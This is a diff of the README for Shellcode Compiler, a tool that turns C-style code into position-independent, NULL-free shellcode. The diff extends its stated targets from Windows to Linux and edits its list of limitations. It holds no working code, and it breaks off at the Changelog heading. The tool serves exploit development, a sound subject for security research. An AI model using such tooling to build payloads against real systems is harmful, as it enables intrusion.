 # Shellcode Compiler
 
-Shellcode Compiler is a program that compiles C/C++ style code into a small, position-independent and NULL-free shellcode for Windows. It is possible to call any Windows API function in a user-friendly way.
+Shellcode Compiler is a program that compiles C/C++ style code into a small, position-independent and NULL-free shellcode for Windows (x86 and x64) and Linux (x86 and x64). It is possible to call any Windows API function or Linux syscall in a user-friendly way.
 
 Shellcode Compiler takes as input a source file and it uses it's own compiler to interpret the code and generate an assembly file which is assembled with Keystone engine.
 
-Shellcode compiler was released at DefCamp security conference in Romania, November 2016.

 # Limitations
+
 1. It is not possible to use the return value of an API call
 2. It is not possible to use pointers or buffers
 3. It is not possible to declare variables
 
-All these limitations will be fixed as soon as possible. However, many other limitations will exist.
+Multiple other limitations exists as well.
 This is an Alpha version. Please report any bugs or suggestions.
 
 # Changelog
